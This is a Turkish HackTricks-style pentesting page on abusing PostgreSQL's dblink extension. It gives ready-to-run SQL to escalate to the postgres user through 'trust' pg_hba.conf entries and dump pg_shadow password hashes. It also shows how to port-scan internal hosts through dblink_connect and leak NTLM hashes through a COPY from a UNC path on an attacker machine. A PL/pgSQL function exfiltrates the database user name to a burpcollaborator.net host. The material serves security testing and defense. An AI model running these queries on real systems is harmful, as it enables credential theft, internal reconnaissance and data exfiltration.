Network - Privesc, Port Scanner ve NTLM yanıtı ifşası
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Daha fazla bilgi için bu saldırılar hakkında orijinal belgede bulun.
PostgreSQL 9.1'den itibaren, ek modüllerin kurulumu basittir. dblink
gibi kayıtlı uzantılar CREATE EXTENSION
ile kurulabilir:
CREATE EXTENSION dblink;
Bir kez dblink yüklendiğinde, bazı ilginç numaralar yapabilirsiniz:
Yetki Yükseltme
pg_hba.conf
dosyası şifreyi bilmeye gerek kalmadan localhost'tan herhangi bir kullanıcı ile bağlantılara izin verecek şekilde kötü yapılandırılmış olabilir. Bu dosya genellikle /etc/postgresql/12/main/pg_hba.conf
yolunda bulunabilir ve kötü bir yapılandırma şöyle görünür:
local all all trust
Not edin ki bu yapılandırma, admin şifreyi unuttuğunda bir db kullanıcısının şifresini değiştirmek için yaygın olarak kullanılır, bu yüzden bazen bunu bulabilirsiniz.
Ayrıca, pg_hba.conf dosyasının yalnızca postgres kullanıcısı ve grubu tarafından okunabilir ve yalnızca postgres kullanıcısı tarafından yazılabilir olduğunu unutmayın.
Bu durum, eğer kurbanın içinde zaten bir shell'iniz varsa yararlıdır çünkü size postgresql veritabanına bağlanma imkanı verecektir.
Başka bir olası yanlış yapılandırma, bunun gibi bir şeydir:
host all all 127.0.0.1/32 trust
Bu, localhost'tan herkesin herhangi bir kullanıcı olarak veritabanına bağlanmasına izin verecektir.
Bu durumda ve eğer dblink
fonksiyonu çalışıyorsa, zaten kurulmuş bir bağlantı üzerinden veritabanına bağlanarak yetkileri yükseltebilir ve erişim izni olmayan verilere erişebilirsiniz:
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
Port Scanning
dblink_connect
'i kötüye kullanarak açık portları da arayabilirsiniz. Eğer bu **fonksiyon çalışmıyorsa, belgelerde dblink_connect_u()
'nun dblink_connect()
ile aynı olduğu, ancak süper kullanıcı olmayanların herhangi bir kimlik doğrulama yöntemi kullanarak bağlanmasına izin vereceği belirtiliyor, bu yüzden dblink_connect_u()
'yu denemelisiniz.
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTP server
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTPS server
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
Not edin ki kullanabilmek için dblink_connect
veya dblink_connect_u
önce şunu çalıştırmanız gerekebilir:
CREATE extension dblink;
UNC yolu - NTLM hash ifşası
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.